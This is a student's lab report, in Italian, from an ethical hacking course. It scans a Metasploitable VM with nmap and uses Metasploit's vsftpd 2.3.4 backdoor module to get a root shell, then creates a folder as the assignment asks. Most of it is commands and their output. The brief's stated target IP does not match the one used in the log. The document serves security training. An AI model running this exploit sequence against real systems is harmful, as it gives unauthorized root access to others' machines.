

# M4-W15D4- Pratica (3)

*DATA*

**Cybersecurity Analyst**

*Studente:*

*Andrea Scarmagnani*

*Docente:*

*Federico Daidone*

# Cyber Security & Ethical Hacking Giorno 5 – Hacking con Metasploit

Nella lezione pratica di oggi vedremo come effettuare una sessione di hacking con Metasploit sulla macchina Metasploitable.

## **Traccia:**

**Partendo dall'esercizio guidato visto nella lezione teorica**, vi chiediamo di completare una sessione di hacking sulla macchina Metasploitable, sul servizio «**vsftpd**» (lo stesso visto in lezione teorica).

L'unica differenza, sarà l'indirizzo della vostra macchina Metasploitable. Configuratelo come di seguito: **192.168.1.149/24**.

Una volta ottenuta la sessione sulla Metasploitable, create una cartella con il comando mkdir nella directory di root (/). Chiamate la cartella test\_metasploit.

Con il comando Nmap scansioniamo la porta della macchina vittima:

```
(kali㉿kali)-[~]
$ sudo nmap -sV 192.168.50.100
[sudo] password for kali:
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-02-16 20:31 CET
Nmap scan report for 192.168.50.100
Host is up (0.056s latency).
Not shown: 978 closed tcp ports (reset)
PORT      STATE SERVICE      VERSION
21/tcp    open  ftp          vsftpd 2.3.4
22/tcp    open  ssh          OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp    open  telnet       Linux telnetd
53/tcp    open  domain       ISC BIND 9.4.2
80/tcp    open  http         Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp   open  rpcbind      2 (RPC #100000)
139/tcp   open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp   open  exec         netkit-rsh rexecd
513/tcp   open  login        OpenBSD or Solaris rlogind
514/tcp   open  tcpwrapped
1099/tcp  open  java-rmi     GNU Classpath grmiregistry
1524/tcp  open  bindshell    Metasploitable root shell
2049/tcp  open  nfs          2-4 (RPC #100003)
2121/tcp  open  ftp          ProFTPD 1.3.1
3306/tcp  open  mysql        MySQL 5.0.51a-3ubuntu5
5432/tcp  open  postgresql   PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp  open  vnc          VNC (protocol 3.3)
6000/tcp  open  X11          (access denied)
6667/tcp  open  irc          UnrealIRCd
8009/tcp  open  ajp13        Apache Jserv (Protocol v1.3)
8180/tcp  open  http         Apache Tomcat/Coyote JSP engine 1.1
Service Info: Host: irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.23 seconds
```

Trovato il servizio attivo nella porta 21 vsftpd 2.3.4 cerchiamo in metasploit se esiste qualche exploit che fa al nostro caso:

```
msf6 > search vsftpd

Matching Modules
-----
#  Name      Test_string...  Disclosure Date  Rank    Check  Description
-  -
0  auxiliary/dos/ftp/vsftpd_232  2011-02-03      normal  Yes    VSFTPD 2.3.2 Denial of Service
1  exploit/unix/ftp/vsftpd_234_backdoor  2011-07-03      excellent No     VSFTPD v2.3.4 Backdoor Command Executi
on

Interact with a module by name or index. For example info 1, use 1 or use exploit/unix/ftp/vsftpd_234_backdoor
```

Ce ne sono due, nel nostro caso avviamo il numero #1

```
msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
[*] No payload configured, defaulting to cmd/unix/interact
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > sS
```

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options

Module options (exploit/unix/ftp/vsftpd_234_backdoor):



| Name    | Current Setting | Required | Description                                                                                                                                                                                         |
|---------|-----------------|----------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| CHOST   |                 | no       | The local client address                                                                                                                                                                            |
| CPORT   |                 | no       | The local client port                                                                                                                                                                               |
| Proxies |                 | no       | A proxy chain of format type:host:port[,type:host:port][ ... ]                                                                                                                                      |
| RHOSTS  |                 | yes      | The target host(s), see <a href="https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html">https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html</a> |
| RPORT   | 21              | yes      | The target port (TCP)                                                                                                                                                                               |



Payload options (cmd/unix/interact):



| Name | Current Setting | Required | Description |
|------|-----------------|----------|-------------|
|      |                 |          |             |



Exploit target:



| Id | Name      |
|----|-----------|
| 0  | Automatic |



View the full module info with the info, or info -d command.
```

Non al primo tentativo, ma al secondo siamo entrati.

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set rhosts 192.168.50.100
rhosts => 192.168.50.100
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > run

[*] 192.168.50.100:21 - Banner: 220 (vsFTPD 2.3.4)
[*] 192.168.50.100:21 - USER: 331 Please specify the password.
[*] Exploit completed, but no session was created.
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > run

[*] 192.168.50.100:21 - The port used by the backdoor bind listener is already open
[+] 192.168.50.100:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.1.130:38641 -> 192.168.50.100:6200) at 2024-02-16 20:37:12 +0100

Generator...
pwd
/
ifconfig
eth0      Link encap:Ethernet  HWaddr 08:00:27:9d:f0:6f
          inet addr:192.168.50.100  Bcast:192.168.50.255  Mask:255.255.255.0
          inet6 addr: fe80::a00:27ff:fe9d:f06f/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:2853 errors:0 dropped:0 overruns:0 frame:0
          TX packets:2750 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:202097 (197.3 KB)  TX bytes:263226 (257.0 KB)
          Base address:0xd020  Memory:f0200000-f0220000

lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:16436  Metric:1
          RX packets:332 errors:0 dropped:0 overruns:0 frame:0
          TX packets:332 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:137005 (133.7 KB)  TX bytes:137005 (133.7 KB)
```

Ho creato la cartella nella macchina vittima *test\_metasploit*.

```
mkdir test_metasploit
ls
bin
boot
cdrom
dev
etc
home
initrd
initrd.img
lib
lost+found
media
mnt
nohup.out
opt
proc
root
sbin
srv
sys
test_metasploit
tmp
usr
var
vmlinuz
```

Esercizio completato.

# **Cybersecurity Analyst 2023**